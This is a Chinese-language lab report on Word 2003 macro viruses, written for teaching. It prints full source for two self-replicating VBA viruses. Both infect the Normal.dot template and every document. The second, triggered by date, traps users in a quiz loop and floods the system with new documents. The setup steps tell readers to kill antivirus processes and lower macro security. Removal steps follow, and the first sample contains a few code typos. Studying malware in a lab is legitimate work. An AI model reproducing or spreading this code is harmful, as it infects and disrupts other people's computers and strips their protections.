目录
实验环境:
Word 2003
实验内容:
1、自我复制,感染word公用模板和当前文档
'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Options.SaveNormalPrompt = False
Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With Host
If .Lines(1.1) <> "'Micro-Virus" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, Ourcode
.ReplaceLine 2, "Sub Document_Close()"
If ThisDocument = nomaltemplate Then
.ReplaceLine 2, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
MsgBox "MicroVirus by Content Security Lab"
End Sub
只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。
2、具有一定破坏性的宏
完整代码如下:
'moonlight
Dim nm(4)
Sub Document_Open()
'DisableInput 1
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> "'moonlight" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 3, "Sub Document_Close()"
If ThisDocument = NormalTemplate Then
.ReplaceLine 3, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
Count = 0
If Day(Now()) = 1 Then
try:
On Error GoTo try
test = -1
con = 1
tog$ = ""
i = 0
While test = -1
For i = 0 To 4
nm(i) = Int(Rnd() * 10)
con = con * nm(i)
If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + "=?"
GoTo beg
End If
tog$ = tog$ + Str$(nm(i)) + "*"
Next i
beg:
Beep
ans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错,只好接受震撼教育......" + Chr$(13) + tog$, "台湾NO.1 Macro Virus")
If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
Documents.Add
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Beep
With Selection.Font
.Name = "细明体"
.Size = 16
.Bold = 1
.Underline = 1
End With
Selection.InsertAfter Text:="何谓宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="我就是......"
Selection.InsertParagraphAfter
Selection.InsertParagraphAfter
Selection.Font.Italic = 0
Beep
Selection.InsertAfter Text:="如何预防宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="不要看我......"
GoTo out
Else
Count = Count + 1
For j = 1 To 20
Beep
Documents.Add
Next j
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Selection.InsertAfter Text:="宏病毒"
If Count = 2 Then GoTo out
GoTo try
End If
Wend
End If
out:
End Sub
实验步骤:
前提:降低安全性
1、关闭杀毒软件。建议直接进入“任务管理器”将正在后台运行的防护进程删除。
2、将word文档的宏安全性调制最低。在“安全级”选项框选“低”,在“可靠发行商”页面全选。在如下图:
3、点击确定,退出开始编写病毒
- 打开一个word文档,利用以下步骤:工具->宏->Visual Basic编辑器即可调用宏编写窗口。
- 在左侧小框中,选择project—>Microsoft Word对象->ThisDocument,在出现的页面中输入实验1的代码(上面第一个代码),保存。
- 退出宏编写器,又退出该word文档
- 重新进入该文档
- 观察病毒效果
实验2、具有一定破坏性的宏
- 打开一个word文档,利用以下步骤:工具->宏->Visual Basic编辑器即可调用宏编写窗口。
- 在左侧小框中,选择project—>Microsoft Word对象->ThisDocument,在出现的页面中输入实验1的代码(上面第一个代码),保存。
- 退出宏编写器,又退出该word文档
- 打开系统管理,更改系统时间为某个月的1号。因为该病毒设置为1号才运行。
- 观察病毒运行效果
实验3、清除宏病毒
- 打开受感染的某个文档,或者已经被打开的受感染文档。不管是不是第一个被植入病毒的文档。
- 利用以下步骤:工具->宏->Visual Basic编辑器,调用宏编写窗口。
- 左上角方框会显示许多文件,打开NormalMicrosoft Word对象This Document,清除其中的病毒代码(只要删除所有内容即可)。
- 然后打开ProjectàMicrosoft WordàThis Document,清除其中的病毒代码。
- 依此关闭打开的文档即可
实验数据记录:
实验1、自我复制,感染word公用模板和当前文档
1、打开的宏编辑器如图所示,即可编写病毒代码。
2、完成病毒代码的编写后,代码的执行效果如下:
3、分析:
实验2、具有一定破坏性的宏
1、运行结果如图:
回答正确的时候,病毒显示:
回答错误的时候,病毒显示:
且当你回答正确,便会一直让你答题,陷入死循环。回答不正确三次,即可自动跳出病毒程序,但那时已经出现几十个文档。若真中了宏病毒,容易造成运行缓慢、信道堵塞等问题
实验3、清除宏病毒
1、清除宏病毒主要要找到normal和project文件。
问题讨论:
1、再次从新进入word文档要从office方式进入才有效果,从wps打开没有意义。